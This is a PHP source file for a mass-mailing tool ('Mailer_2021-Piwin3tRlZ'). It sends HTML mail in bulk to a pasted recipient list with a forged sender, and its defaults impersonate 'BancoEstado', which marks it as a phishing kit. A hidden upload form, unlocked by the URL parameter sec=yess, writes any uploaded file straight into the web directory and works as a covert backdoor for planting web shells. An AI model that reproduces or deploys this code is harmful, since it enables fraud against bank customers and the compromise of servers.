<?php
set_time_limit(0);

// Variables iniciales
$de = $nombre = $subject = $message = $ellos = "";

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['Enoc'])) {
    $message = stripslashes($_POST['html'] ?? '');
    $subject = $_POST['assunto'] ?? '';
    $de = $_POST['de'] ?? '';
    $nombre = $_POST['RealName'] ?? '';
    $ellos = $_POST['ellos'] ?? '';
} else {
    $message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
    $subject = $_SERVER["HTTP_HOST"];
    $nombre = "BancoEstado";
    $de = "noreply@publimailer.com";
    $ellos = "piwinet2018@hotmail.com";
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Mailer_2021-Piwin3tRlZ</title>
</head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
    <br>
    <table width="534" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC">
        <tr>
            <td>
                <table border="0" bgcolor="#FFFFFF" width="95%">
                    <tr>
                        <td>
                            <table border="0" width="100%">
                                <tr>
                                    <td width="359">Email:
                                        <input name="de" type="text" value="noreply@publimailer.com" size="30">
                                    </td>
                                    <td>Nombre:
                                        <input name="RealName" type="text" size="30" value="BancoEstado">
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                    <tr>
                        <td>Asunto:
                            <input name="assunto" type="text" size="78">
                        </td>
                    </tr>
                    <tr><td height="18" bgcolor="#C0C0C0"></td></tr>
                    <tr>
                        <td>
                            <table border="0" width="100%">
                                <tr>
                                    <td>
                                        <textarea name="html" cols="66" rows="10"></textarea>
                                    </td>
                                    <td>
                                        <textarea rows="10" name="ellos" cols="35"></textarea>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                    <tr>
                        <td>
                            <center><br>
                            <input type="submit" name="Enoc" value="Enviar"><br><br>
<?php
if (isset($_GET['sec']) && $_GET['sec'] === 'yess') {
    echo <<<HTML
        <form action="" method="post" enctype="multipart/form-data">
            <input name="archivo" type="file" size="35" />
            <input name="enviar" type="submit" value="Upload File" />
            <input name="action" type="hidden" value="upload" />
        </form>
    HTML;

    if ($_POST['action'] ?? '' === 'upload' && isset($_FILES['archivo'])) {
        $archivo = $_FILES['archivo']['name'];
        if (!empty($archivo) && move_uploaded_file($_FILES['archivo']['tmp_name'], "./$archivo")) {
            echo "Archivo subido: <b>" . htmlspecialchars($archivo) . "</b>";
        } else {
            echo "Error al subir el archivo.";
        }
    }
}

// Envío de correos
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['Enoc'])) {
    $emails = isset($_GET['c']) ? explode(",", $ellos) : explode("\n", $ellos);
    $son = count($emails);

    $header = "MIME-Version: 1.0\r\n";
    $header .= "Content-type: text/html; charset=iso-8859-1\r\n";
    $header .= "From: {$nombre} <{$de}>\r\n";
    $header .= "Reply-To: {$de}\r\n";
    $header .= "X-Priority: 3\r\n";
    $header .= "X-MSMail-Priority: Normal\r\n";
    $header .= "X-Mailer: " . $_SERVER["HTTP_HOST"] . "\r\n";

    $i = 0;
    $voy = 1;

    foreach ($emails as $email) {
        $email = trim($email);
        if (empty($email)) continue;

        if (isset($_GET['time'], $_GET['cant']) && fmod($i, $_GET['cant']) == 0 && $i > 0) {
            echo "-------> Esperando {$_GET['time']} segundos. Enviando notificación a {$_GET['notf']}...<br>\n";
            flush();
            mail($_GET['notf'], $subject, $message, $header);
            sleep((int)$_GET['time']);
        }

        $message1 = str_replace('%email%', $email, $message);

        if (mail($email, $subject, $message1, $header)) {
            echo "<font color='blue'>{$voy} de {$son}: " . htmlspecialchars($email) . " enviado.</font><br>\n";
        } else {
            echo "<font color='red'>{$voy} de {$son}: " . htmlspecialchars($email) . " error de envío.</font><br>\n";
        }

        flush();
        $i++;
        $voy++;
    }
    echo "<script>alert('---Todos Terminados---');</script>";
}
?>
                            </center>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
</form>
</center>
</body>
</html>